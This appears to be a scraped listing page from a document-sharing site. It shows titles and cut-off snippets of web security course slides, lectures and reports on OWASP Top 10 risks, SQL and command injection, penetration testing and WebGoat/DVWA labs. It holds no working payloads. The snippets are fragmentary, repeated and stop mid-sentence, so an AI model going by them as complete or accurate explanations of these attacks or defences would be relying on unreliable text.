OWASP Top 10 Risks. Many thanks to Dave Wichers & OWASP OWASP Top 10 Risks Dean.Bushmiller@ExpandingSecurity.com Many thanks to Dave Wichers & OWASP My Mom I got on the email and did a google on my boy My boy works in this Internet thing He makes cyber cafes

More information

A1 (Part 1): Injection Command and Code injection

A1 (Part 1): Injection Command and Code injection A1 (Part 1): Injection Command and Code injection A1 Injection Tricking an application into executing commands or code embedded in data Data and code mixing! Often injected into interpreters SQL, PHP,

More information

Injection attacks use specially crafted inputs to subvert the intended operation of applications.

Injection attacks use specially crafted inputs to subvert the intended operation of applications. Secure Programming Lecture 8: SQL Injection David Aspinall, Informatics @ Edinburgh 8th February 2018 Recap Injection attacks use specially crafted inputs to subvert the intended operation of applications.

More information

Webapps Vulnerability Report

Webapps Vulnerability Report Webapps Vulnerability Report Tuesday, January 12, 2010 Introduction This report provides detailed information of every vulnerability that was found and successfully exploited by CORE IMPACT during this

More information

Secure Programming. Input Validation. Learning objectives Code Injection: Outline. 4 Code Injection

Secure Programming. Input Validation. Learning objectives Code Injection: Outline. 4 Code Injection Secure Programming Input Validation 2 Learning objectives Understand the definition of code injection Know how code injection happens Learn how to perform input validation and cleansing 1 Ahmet Burak Can

More information

Holistic Database Security

Holistic Database Security Holistic Database Security 1 Important Terms Exploit: Take advantage of a flaw or feature Attack Surface: Any node on the network that can be attacked. That can be the UI, People, anything that touches

More information

Injection vulnerabilities: command injection and SQL injection

Injection vulnerabilities: command injection and SQL injection Injection vulnerabilities: command injection and SQL injection Questões de Segurança em Engenharia de Software (QSES) Departamento de Ciência de Computadores Faculdade de Ciências da Universidade do Porto

More information

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis

CSE361 Web Security. Attacks against the server-side of web applications. Nick Nikiforakis CSE361 Web Security Attacks against the server-side of web applications Nick Nikiforakis nick@cs.stonybrook.edu Threat model In these scenarios: The server is benign The client is malicious The client

More information

Curso: Ethical Hacking and Countermeasures

Curso: Ethical Hacking and Countermeasures Curso: Ethical Hacking and Countermeasures Module 1: Introduction to Ethical Hacking Who is a Hacker? Essential Terminologies Effects of Hacking Effects of Hacking on Business Elements of Information Security

More information

Penetration Testing. James Walden Northern Kentucky University

Penetration Testing. James Walden Northern Kentucky University Penetration Testing James Walden Northern Kentucky University Topics 1. What is Penetration Testing? 2. Rules of Engagement 3. Penetration Testing Process 4. Map the Application 5. Analyze the Application

More information

WAPTv2 at a glance: Self-paced, online, flexible access interactive slides and 5+ hours of video material. Downloadable material

WAPTv2 at a glance: Self-paced, online, flexible access interactive slides and 5+ hours of video material. Downloadable material The most practical and comprehensive training course on Web App Pentest WAPTv2 at a glance: Self-paced, online, flexible access 1850+ interactive slides and 5+ hours of video material Downloadable material

More information

Secure Coding and Code Review. Berlin : 2012

Secure Coding and Code Review. Berlin : 2012 Secure Coding and Code Review Berlin : 2012 Outline Overview of top vulnerabilities Code review practice Secure design / writing secure code Write some secure code Review a volunteer's code Top Problems

More information

5MMSSI - Information Systems Security 1 - vulnerabilities and attacks

5MMSSI - Information Systems Security 1 - vulnerabilities and attacks 5MMSSI - Information Systems Security 1 - vulnerabilities and attacks Fabien Duchene 1 Karim Hossen 1 1 Laboratoire d Informatique de Grenoble, VASCO team Grenoble Institute of Technology - Grenoble INP

More information

Finding Vulnerabilities in Source Code

Finding Vulnerabilities in Source Code Finding Vulnerabilities in Source Code Jason Miller CSCE 813 Fall 2012 Outline Approaches to code review Signatures of common vulnerabilities Language-independent considerations Tools for code browsing

More information

CRAXweb: Web Testing and Attacks through QEMU in S2E. Shih-Kun Huang National Chiao Tung University Hsinchu, Taiwan

CRAXweb: Web Testing and Attacks through QEMU in S2E. Shih-Kun Huang National Chiao Tung University Hsinchu, Taiwan CRAXweb: Web Testing and Attacks through QEMU in S2E Shih-Kun Huang National Chiao Tung University Hsinchu, Taiwan skhuang@cs.nctu.edu.tw Motivation Symbolic Execution is effective to crash applications

More information

RBS NetGain Enterprise Manager Multiple Vulnerabilities of 11

RBS NetGain Enterprise Manager Multiple Vulnerabilities of 11 RBS-2018-004 NetGain Enterprise Manager Multiple Vulnerabilities 2018-03-22 1 of 11 Table of Contents Vendor / Product Information 3 Vulnerable Program Details 3 Credits 3 Impact 3 Vulnerability Details

More information

WebGoat Lab session overview

WebGoat Lab session overview WebGoat Lab session overview Initial Setup Virtual Machine Tamper Data Web Goat Basics HTTP Basics Sniffing Web server attacks SQL Injection XSS INITIAL SETUP Tamper Data Hold alt to reveal the menu in

More information

PHP: Cookies, Sessions, Databases. CS174. Chris Pollett. Sep 24, 2008.

PHP: Cookies, Sessions, Databases. CS174. Chris Pollett. Sep 24, 2008. PHP: Cookies, Sessions, Databases. CS174. Chris Pollett. Sep 24, 2008. Outline. How cookies work. Cookies in PHP. Sessions. Databases. Cookies. Sometimes it is useful to remember a client when it comes

More information

N different strategies to automate OWASP ZAP

N different strategies to automate OWASP ZAP OWASP BUCHAREST APPSEC CONFERENCE 13 OCTOBER 2017 The OWASP Foundation http://www.owasp.org N different strategies to automate OWASP ZAP The OWASP Zed Attack Proxy Marudhamaran Gunasekaran Zap Contributor

More information

Injection. CSC 482/582: Computer Security Slide #1

Injection. CSC 482/582: Computer Security Slide #1 Injection Slide #1 Topics 1. Injection Attacks 2. SQL Injection 3. Mitigating SQL Injection 4. XML Injection Slide #2 Injection Injection attacks trick an application into including unintended commands

More information

WEB SECURITY: SQL INJECTION

WEB SECURITY: SQL INJECTION WEB SECURITY: SQL INJECTION CMSC 414 FEB 15 2018 A very basic web architecture Client Server A very basic web architecture Client Server A very basic web architecture Client Server A very basic web architecture

More information

Locate your Advanced Tools and Applications

Locate your Advanced Tools and Applications MySQL Manager is a web based MySQL client that allows you to create and manipulate a maximum of two MySQL databases. MySQL Manager is designed for advanced users.. 1 Contents Locate your Advanced Tools

More information

OWASP TOP 10. By: Ilia

OWASP TOP 10. By: Ilia OWASP TOP 10 By: Ilia Alshanetsky @iliaa ME, MYSELF & I PHP Core Developer Author of Guide to PHP Security Security Aficionado WEB SECURITY THE CONUNDRUM USABILITY SECURITY YOU CAN HAVE ONE ;-) OPEN WEB

More information

WEB APPLICATION SCANNERS. Evaluating Past the Base Case

WEB APPLICATION SCANNERS. Evaluating Past the Base Case WEB APPLICATION SCANNERS Evaluating Past the Base Case GREG OSE PATRICK TOOMEY Presenter Intros Overview An overview of web application scanners Why is it hard to evaluate scanner efficacy? Prior Work

More information

Who s Afraid of SQL Injection?! Mike Kölbl Sonja Klausburg Siegfried Goeschl

Who s Afraid of SQL Injection?! Mike Kölbl Sonja Klausburg Siegfried Goeschl Who s Afraid of SQL Injection?! Mike Kölbl Sonja Klausburg Siegfried Goeschl 1 http://xkcd.com/327/ 2 What Is SQL Injection? Incorrectly validated or nonvalidated string literals are concatenated into

More information

Server-side web security (part 2 - attacks and defences)

Server-side web security (part 2 - attacks and defences) Server-side web security (part 2 - attacks and defences) Security 1 2018-19 Università Ca Foscari Venezia www.dais.unive.it/~focardi secgroup.dais.unive.it Basic injections $query = "SELECT name, lastname,

More information

PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH

PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH Faculty of Computer Science Institute of Systems Architecture, Operating Systems Group PROBLEMS IN PRACTICE: THE WEB MICHAEL ROITZSCH THE WEB AS A DISTRIBUTED SYSTEM 2 WEB HACKING SESSION 3 3-TIER persistent

More information

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any

Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any OWASP Top 10 Provide you with a quick introduction to web application security Increase you awareness and knowledge of security in general Show you that any tester can (and should) do security testing

More information

PHP is a scripting language that can be embedded into HTML. Estimated 20 million PHP websites as of 2007

PHP is a scripting language that can be embedded into HTML. Estimated 20 million PHP websites as of 2007 Anthony Corch PHP is a scripting language that can be embedded into HTML Estimated 20 million PHP websites as of 2007 Extremely simple for a newcomer, but offers many advanced features for a professional

More information

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies

CNIT 129S: Securing Web Applications. Ch 3: Web Application Technologies CNIT 129S: Securing Web Applications Ch 3: Web Application Technologies HTTP Hypertext Transfer Protocol (HTTP) Connectionless protocol Client sends an HTTP request to a Web server Gets an HTTP response

More information

Security Analyses For The Lazy Superhero

Security Analyses For The Lazy Superhero #1 Security Analyses For The Lazy Superhero #2 One-Slide Summary We can statically detect buffer overruns in programs by modeling the space allocated for a buffer and the space used for a buffer. We cannot

More information

eb Security Software Studio

eb Security Software Studio eb Security Software Studio yslin@datalab 1 OWASP Top 10 Security Risks in 2017 Rank Name 1 Injection 2 Broken Authentication and Session Management 3 Cross-Site Scripting (XSS) 4 Broken Access Control

More information

Taking White Hats to the Laundry: How to Strengthen Testing in Common Criteria

Taking White Hats to the Laundry: How to Strengthen Testing in Common Criteria Taking White Hats to the Laundry: How to Strengthen Testing in Common Criteria Apostol Vassilev, Principal Consultant September 23,2009. Product Testing in Common Criteria Product Testing in Common Criteria

More information

NET 311 INFORMATION SECURITY

NET 311 INFORMATION SECURITY NET 311 INFORMATION SECURITY Networks and Communication Department Lec12: Software Security / Vulnerabilities lecture contents: o Vulnerabilities in programs Buffer Overflow Cross-site Scripting (XSS)

More information

Solution of Exercise Sheet 5

Solution of Exercise Sheet 5 Foundations of Cybersecurity (Winter 16/17) Prof. Dr. Michael Backes CISPA / Saarland University saarland university computer science Solution of Exercise Sheet 5 1 SQL Injection Consider a website foo.com

More information

ANALYSIS OF VARIOUS LEVELS OF PENETRATION BY SQL INJECTION TECHNIQUE THROUGH DVWA

ANALYSIS OF VARIOUS LEVELS OF PENETRATION BY SQL INJECTION TECHNIQUE THROUGH DVWA ANALYSIS OF VARIOUS LEVELS OF PENETRATION BY SQL INJECTION TECHNIQUE THROUGH DVWA By Ashish Kumar, Dr. Swapnesh Taterh 1st AIIT, Amity University, Rajasthan. 2nd Asst Prof, AIIT, Amity University, Rajasthan.

More information